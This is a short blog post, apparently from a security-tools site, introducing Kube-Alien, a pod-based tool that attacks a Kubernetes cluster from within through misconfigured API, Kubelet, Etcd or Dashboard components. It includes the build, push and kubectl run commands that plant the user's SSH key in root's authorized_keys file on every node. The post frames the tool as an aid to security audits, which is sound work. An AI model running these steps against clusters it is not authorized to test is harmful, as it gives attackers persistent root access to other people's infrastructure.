System Administration

Kube-Alien – Tool To Launches Attack on K8s Cluster from Within

September 28, 2019
2 Min Read
Kube-Alien - Tool To Launches Attack on K8s Cluster from Within

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This tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it.

After running the kube-alien pod it tries to takeover cluster’s nodes by adding your public key to node’s /root/.ssh/authorized_keys file by using this image https://github.com/nixwizard/dockercloud-authorizedkeys (Can be adjusted using ADD_AUTHKEYS_IMAGE param in config.py) forked from docker/dockercloud-authorizedkeys.

The attack succeedes if there is a misconfiguration in one of the cluster’s components it goes along the following vectors:

  • Kubernetes API
  • Kubelet service
  • Etcd service
  • Kubernetes-Dashboard

What is the purpose of this tool?

  • While doing security audit of a k8s cluster one can quickly assess it’s security posture.
  • Partical demostration of the mentioned attack vectors exploitation.

How can k8s cluster be attacked from within in a real life?

  • RCE or SSRF vunerability in an app which is being run in one of your cluster’s pods.

Usage
Kube-alien image should be pushed to your dockerhub(or other registry) before using with this tool.

git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka

The AUTHORIZED_KEYS env required to be set to the value of your ssh public key, in case of success the public key will be added to all node’s root’s authorized_keys file.

kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

or you may use my image for quick testing purpose:

kubectl run --image=nixwizard/kube-alien kube-alien:ka --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

Check Kube-alien pod’s logs to see if attack was successful:

kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')

The following resources helped me a lot in creating this tool


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